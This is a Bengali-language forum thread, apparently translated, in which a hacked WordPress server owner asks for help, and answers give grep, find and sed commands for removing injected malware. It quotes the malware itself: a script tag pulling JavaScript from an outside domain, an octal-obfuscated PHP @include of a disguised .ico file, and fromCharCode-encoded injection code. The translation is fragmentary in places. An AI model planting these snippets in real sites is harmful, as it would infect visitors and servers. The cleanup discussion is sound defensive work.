সুতরাং আমার পুরো সার্ভারটি হ্যাক হয়ে গেছে বা ম্যালওয়্যারের সমস্যা পেয়েছে। আমার সাইটটি ওয়ার্ডপ্রেস ভিত্তিক এবং আমার সার্ভারে হোস্ট করা বেশিরভাগ সাইট ওয়ার্ডপ্রেস ভিত্তিক। হ্যাকার প্রতিটি একক ফাইল এবং ডাটাবেসে কোডের এই লাইনটি যুক্ত করে
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
আমি গ্রেপ ব্যবহার করে এটি অনুসন্ধান করেছিলাম
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
আমি ফাইলের কাঠামো জুড়ে এটি প্রতিস্থাপনের চেষ্টা করছি sed
এবং আমি নিম্নলিখিত কমান্ডটি লিখেছি।
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
আমি index.php
প্রথমে একটি একক ফাইলে স্ট্রিংটি প্রতিস্থাপনের চেষ্টা করছি , তাই আমি জানি এটি কাজ করে।
এবং আমি জানি আমার কোডটি ভুল। অনুগ্রহ করে এটির দ্বারা আমাকে সাহায্য করুন.
আমি @ ইরানের কোড দিয়ে চেষ্টা করেছি এবং এটি পুরো লাইনটি মুছে ফেলেছে, যা ভাল এবং প্রত্যাশার মতো। যাইহোক, মোট জার্গন এটি
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
এবং আমি সমস্ত সামগ্রী মুছতে চাইলে, পিএইচপি খোলার ট্যাগ রাখতে চাই <?php
।
যদিও @ স্লাইব্লটির সমাধানটি সহজ এবং এটি কার্যকর।
সুতরাং সমস্ত ক্ষতিগ্রস্থ ফাইল থেকে কোড পুরোপুরি সরিয়ে ফেলতে। আমি নিম্নলিখিত 3 টি কমান্ড চালাচ্ছি, এর জন্য আপনাকে সকলকে ধন্যবাদ।
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- স্ক্রিপ্ট লাইন সরানfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
-@include
লাইন সরাতেfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- মন্তব্য লাইন অপসারণ করতে
এছাড়াও, আমি আবার 3 টি কমান্ড দৌড়েছি '*.html'
কারণ হ্যাকারের স্ক্রিপ্ট সমস্ত ডিরেক্টরিতে অযাচিত সূচক html তৈরি করেছে। আমি নিশ্চিত ছিলাম না যে এই সূচকগুলি। Html বিপুল পরিমাণে মুছে ফেলা সঠিক পন্থা।
এখন, আমার এখনও এর জাঙ্ক ফাইলগুলি এবং এর চিহ্নগুলি খুঁজে বের করতে হবে।
হ্যাকার স্ক্রিপ্ট পাশাপাশি জেএস কোড যুক্ত করেছে।
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
আমি sed
এটি করতে পারি কিনা তা দেখার চেষ্টা করছি ।
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
। উদাহরণস্বরূপ, সম্পাদিত সমস্ত ফাইলের জন্য sed -i.bak
একটি *.bak
ফাইল তৈরি করবে । while...grep
লুপটি ব্যবহার করার সময় , আপনি কেবল সেই স্ট্রিং থাকা ফাইলগুলিকে ব্যাক আপ করবেন। সমস্ত অতিরিক্ত মন্তব্যের জন্য দুঃখিত, তবে আমার মতে, ম্যালওয়্যারটি একটি "ডেক অন সমস্ত হাত" এর দৃশ্যপট is